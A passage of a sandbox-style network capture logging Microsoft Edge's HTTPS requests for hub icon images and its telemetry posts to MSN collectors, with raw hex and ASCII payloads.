2024-11-21 21:09:41 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-21 21:09:41 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-21 21:09:41 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-21 21:09:41 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49819	13.107.246.40	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:41 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:41 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:41 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 1e9f1f98-401e-0006-2c47-3c9f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210941Z-178bfbc474bpnd5vhC1NYC4vr400000001x000000000y3ay Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:09:41 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49820	13.107.246.40	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:41 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:41 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:41 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 4672b4b6-e01e-0066-2047-3cda5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210941Z-178bfbc474btrnf9hC1NYCb80g000000023000000000vdd9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:09:41 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49821	13.107.246.40	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:41 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:41 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:41 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5134cf6a-301e-006f-2d59-3cc0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210941Z-1777c6cb754j47wfhC1TEB5wrw00000007fg00000000dcda Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:09:41 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49817	13.107.246.40	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:41 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:41 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:41 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: b63a2708-a01e-006a-4659-3c34ac000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210941Z-178bfbc474b9fdhphC1NYCac0n00000002000000000083h3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-21 21:09:41 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49818	13.107.246.40	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:41 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:41 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:41 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 6d9d1516-001e-0001-3d59-3c69fa000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210941Z-178bfbc474bnwsh4hC1NYC2ubs000000023g00000000cb9p Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:09:41 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49822	13.107.246.40	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:41 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:41 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:41 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: b5bd8ae7-b01e-0031-7959-3c33d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T210941Z-178bfbc474bp8mkvhC1NYCzqnn00000001w000000000dds0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:09:41 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49826	20.189.173.8	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:42 UTC	1017	OUT	POST /OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-2.2.2&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732223371000&w=0&anoncknm=app_anon HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4441 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1DDD0804885F6B0E3D4C1D3A893D6AC0; _EDGE_S=F=1&SID=117FCA03F65562062012DF3DF752630C; _EDGE_V=1
2024-11-21 21:09:42 UTC	4441	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 31 54 32 31 3a 30 39 3a 33 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 64 61 74 61 22 3a 7b 22 62 61 73 65 44 61 74 61 22 3a 7b 7d 2c 22 62 61 73 65 54 79 70 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 42 61 73 65 22 2c 22 70 61 67 65 22 3a 7b 22 6e 61 6d 65 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 70 72 6f 64 75 63 74 22 3a 22 61 6e 61 68 65 69 6d 22 2c 22 74 79 70 65 22 3a 22 64 68 70 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 63 61 74 65 67 6f 72 79 22 3a 22 73 74 61 6e 64 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-11-21T21:09:31Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","data":{"baseData":{},"baseType":"MS.News.Web.Base","page":{"name":"default","product":"anaheim","type":"dhp","content":{"category":"stand
2024-11-21 21:09:42 UTC	917	IN	HTTP/1.1 200 OK Content-Length: 153 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f2c9547ba9d64bc8a034c2d8c42f2834&HASH=f2c9&LV=202411&V=4&LU=1732223382532; Domain=.microsoft.com; Expires=Fri, 21 Nov 2025 21:09:42 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=567a9c7fca1d47448e4702d4e02af4f7; Domain=.microsoft.com; Expires=Thu, 21 Nov 2024 21:39:42 GMT; Path=/;Secure; SameSite=None time-delta-millis: 11532 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 21 Nov 2024 21:09:41 GMT Connection: close
2024-11-21 21:09:42 UTC	153	IN	Data Raw: 7b 22 61 63 63 22 3a 31 2c 22 77 65 62 52 65 73 75 6c 74 22 3a 7b 22 6d 73 66 70 63 22 3a 22 47 55 49 44 3d 66 32 63 39 35 34 37 62 61 39 64 36 34 62 63 38 61 30 33 34 63 32 64 38 63 34 32 66 32 38 33 34 26 48 41 53 48 3d 66 32 63 39 26 4c 56 3d 32 30 32 34 31 31 26 56 3d 34 26 4c 55 3d 31 37 33 32 32 32 33 33 38 32 35 33 32 22 2c 22 6d 63 31 22 3a 22 66 32 63 39 35 34 37 62 61 39 64 36 34 62 63 38 61 30 33 34 63 32 64 38 63 34 32 66 32 38 33 34 22 7d 7d Data Ascii: {"acc":1,"webResult":{"msfpc":"GUID=f2c9547ba9d64bc8a034c2d8c42f2834&HASH=f2c9&LV=202411&V=4&LU=1732223382532","mc1":"f2c9547ba9d64bc8a034c2d8c42f2834"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49827	20.189.173.8	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:42 UTC	1017	OUT	POST /OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-2.2.2&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732223371000&w=0&anoncknm=app_anon HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4556 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1DDD0804885F6B0E3D4C1D3A893D6AC0; _EDGE_S=F=1&SID=117FCA03F65562062012DF3DF752630C; _EDGE_V=1
